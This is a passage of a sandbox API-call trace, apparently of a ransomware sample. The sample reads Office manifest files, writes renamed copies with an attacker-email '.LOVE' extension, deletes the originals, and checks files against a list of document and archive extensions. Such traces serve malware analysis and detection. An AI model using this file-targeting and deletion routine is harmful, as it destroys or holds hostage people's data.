SetEndOfFile (hFile=0x368) returned 1 [0203.267] CloseHandle (hObject=0x368) returned 1 [0203.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0409-1000-0000000ff1ce.xml")) returned 1 [0203.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.399] lstrlenW (lpString=".doc") returned 4 [0203.399] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.399] lstrlenW (lpString=".docx") returned 5 [0203.399] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.399] lstrlenW (lpString=".pdf") returned 4 [0203.399] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.399] lstrlenW (lpString=".xls") returned 4 [0203.400] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString=".xlsx") returned 5 [0203.400] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.400] lstrlenW (lpString=".ppt") returned 4 [0203.400] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.400] lstrlenW (lpString=".zip") returned 4 [0203.400] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.400] lstrlenW (lpString=".rar") returned 4 [0203.400] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString=".bz2") returned 4 [0203.400] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString=".7z") returned 3 [0203.400] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.400] lstrlenW (lpString=".dbf") returned 4 [0203.400] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.400] lstrlenW (lpString=".1cd") returned 4 [0203.400] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.400] lstrlenW (lpString=".jpg") returned 4 [0203.400] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.400] lstrlenW (lpString=".doc") returned 4 [0203.400] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString=".docx") returned 5 [0203.401] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.401] lstrlenW (lpString=".pdf") returned 4 [0203.401] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString=".xls") returned 4 [0203.401] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString=".xlsx") returned 5 [0203.401] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.401] lstrlenW (lpString=".ppt") returned 4 [0203.401] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.401] lstrlenW (lpString=".zip") returned 4 [0203.401] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.401] lstrlenW (lpString=".rar") returned 4 [0203.401] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString=".bz2") returned 4 [0203.401] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString=".7z") returned 3 [0203.401] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.401] lstrlenW (lpString=".dbf") returned 4 [0203.401] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.401] lstrlenW (lpString=".1cd") returned 4 [0203.401] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned 104 [0203.401] lstrlenW (lpString=".jpg") returned 4 [0203.401] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.402] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.402] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0203.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.402] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1261) returned 1 [0203.402] CloseHandle (hObject=0x35c) returned 1 [0203.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0203.402] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.403] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.403] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0203.442] GetLastError () returned 0x0 [0203.442] ReadFile (in: hFile=0x35c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0203.512] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0203.513] ReadFile (in: hFile=0x35c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.513] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.513] SetEndOfFile (hFile=0x2d8) returned 1 [0203.513] CloseHandle (hObject=0x2d8) returned 1 [0203.514] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.514] SetEndOfFile (hFile=0x35c) returned 1 [0203.515] CloseHandle (hObject=0x35c) returned 1 [0203.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0203.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.515] lstrlenW (lpString=".doc") returned 4 [0203.515] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString=".docx") returned 5 [0203.516] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.516] lstrlenW (lpString=".pdf") returned 4 [0203.516] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString=".xls") returned 4 [0203.516] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString=".xlsx") returned 5 [0203.516] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.516] lstrlenW (lpString=".ppt") returned 4 [0203.516] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.516] lstrlenW (lpString=".zip") returned 4 [0203.516] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.516] lstrlenW (lpString=".rar") returned 4 [0203.516] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString=".bz2") returned 4 [0203.516] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString=".7z") returned 3 [0203.516] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.516] lstrlenW (lpString=".dbf") returned 4 [0203.516] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.516] lstrlenW (lpString=".1cd") returned 4 [0203.516] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.516] lstrlenW (lpString=".jpg") returned 4 [0203.516] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.516] lstrlenW (lpString=".doc") returned 4 [0203.517] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString=".docx") returned 5 [0203.517] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.517] lstrlenW (lpString=".pdf") returned 4 [0203.517] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString=".xls") returned 4 [0203.517] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString=".xlsx") returned 5 [0203.517] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.517] lstrlenW (lpString=".ppt") returned 4 [0203.517] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.517] lstrlenW (lpString=".zip") returned 4 [0203.517] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.517] lstrlenW (lpString=".rar") returned 4 [0203.517] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString=".bz2") returned 4 [0203.517] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString=".7z") returned 3 [0203.517] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.517] lstrlenW (lpString=".dbf") returned 4 [0203.517] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.517] lstrlenW (lpString=".1cd") returned 4 [0203.517] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0203.517] lstrlenW (lpString=".jpg") returned 4 [0203.517] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.518] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.518] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0203.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.518] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=496513) returned 1 [0203.518] CloseHandle (hObject=0x35c) returned 1 [0203.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0203.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.518] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.519] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0203.519] GetLastError () returned 0x0 [0203.519] ReadFile (in: hFile=0x35c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x79381, lpOverlapped=0x0) returned 1 [0203.558] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x79390, lpOverlapped=0x0) returned 1 [0203.565] ReadFile (in: hFile=0x35c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0203.565] WriteFile (in: hFile=0x2d8, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0203.565] SetEndOfFile (hFile=0x2d8) returned 1 [0203.565] CloseHandle (hObject=0x2d8) returned 1 [0203.573] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.573] SetEndOfFile (hFile=0x35c) returned 1 [0203.576] CloseHandle (hObject=0x35c) returned 1 [0203.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0203.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0203.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.577] lstrlenW (lpString=".doc") returned 4 [0203.577] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.577] lstrlenW (lpString=".docx") returned 5 [0203.577] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.577] lstrlenW (lpString=".pdf") returned 4 [0203.577] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.577] lstrlenW (lpString=".xls") returned 4 [0203.577] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.577] lstrlenW (lpString=".xlsx") returned 5 [0203.577] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.577] lstrlenW (lpString=".ppt") returned 4 [0203.577] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.577] lstrlenW (lpString=".zip") returned 4 [0203.577] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.577] lstrlenW (lpString=".rar") returned 4 [0203.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.577] lstrlenW (lpString=".bz2") returned 4 [0203.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.577] lstrlenW (lpString=".7z") returned 3 [0203.578] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.578] lstrlenW (lpString=".dbf") returned 4 [0203.578] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.578] lstrlenW (lpString=".1cd") returned 4 [0203.578] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.578] lstrlenW (lpString=".jpg") returned 4 [0203.578] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.578] lstrlenW (lpString=".doc") returned 4 [0203.578] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString=".docx") returned 5 [0203.578] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0203.578] lstrlenW (lpString=".pdf") returned 4 [0203.578] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString=".xls") returned 4 [0203.578] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString=".xlsx") returned 5 [0203.578] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0203.578] lstrlenW (lpString=".ppt") returned 4 [0203.578] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.578] lstrlenW (lpString=".zip") returned 4 [0203.578] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0203.578] lstrlenW (lpString=".rar") returned 4 [0203.578] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString=".bz2") returned 4 [0203.578] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0203.578] lstrlenW (lpString=".7z") returned 3 [0203.579] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0203.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.579] lstrlenW (lpString=".dbf") returned 4 [0203.579] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0203.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.579] lstrlenW (lpString=".1cd") returned 4 [0203.579] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0203.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0203.579] lstrlenW (lpString=".jpg") returned 4 [0203.579] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0203.579] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0203.579] lstrlenW (lpString="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned 53 [0203.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.579] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1261) returned 1 [0203.579] CloseHandle (hObject=0x35c) returned 1 [0203.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0203.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0203.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0203.580] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.580] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0203.580] GetLastError () returned 0x0 [0203.580] ReadFile (in: 